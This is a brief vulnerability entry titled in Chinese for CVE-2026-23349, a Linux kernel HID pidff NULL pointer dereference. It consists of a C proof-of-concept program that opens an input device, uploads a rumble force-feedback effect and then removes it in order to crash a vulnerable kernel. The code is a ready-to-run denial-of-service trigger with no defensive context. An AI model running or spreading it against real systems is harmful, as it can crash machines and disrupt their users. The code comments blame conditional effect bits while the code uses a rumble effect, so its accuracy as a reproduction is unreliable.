CVE-2026-23349 Linux内核HID pidff空指针解引用漏洞

/* * PoC for CVE-2026-23349: HID pidff NULL Pointer Dereference * Triggering the bug requires interacting with a force feedback device. */ #include <linux/input.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <string.h> int main(int argc, char **argv) { int fd; struct ff_effect effect; const char *device = "/dev/input/event0"; // Adjust device path as needed // Open the input device fd = open(device, O_RDWR); if (fd < 0) { perror("open"); return 1; } memset(&effect, 0, sizeof(effect)); effect.type = FF_RUMBLE; // Using rumble effect to trigger ffbit logic effect.id = -1; effect.u.rumble.strong_magnitude = 0x8000; effect.u.rumble.weak_magnitude = 0x8000; // Upload the effect to the device if (ioctl(fd, EVIOCSFF, &effect) < 0) { perror("ioctl EVIOCSFF"); close(fd); return 1; } // Remove effect to trigger the clearing logic (where the bug exists) // The bug occurs when clearing conditional effect bits improperly. if (ioctl(fd, EVIOCRMFF, effect.id) < 0) { perror("ioctl EVIOCRMFF"); close(fd); return 1; } printf("PoC executed successfully. If vulnerable, kernel may crash.\n"); close(fd); return 0; }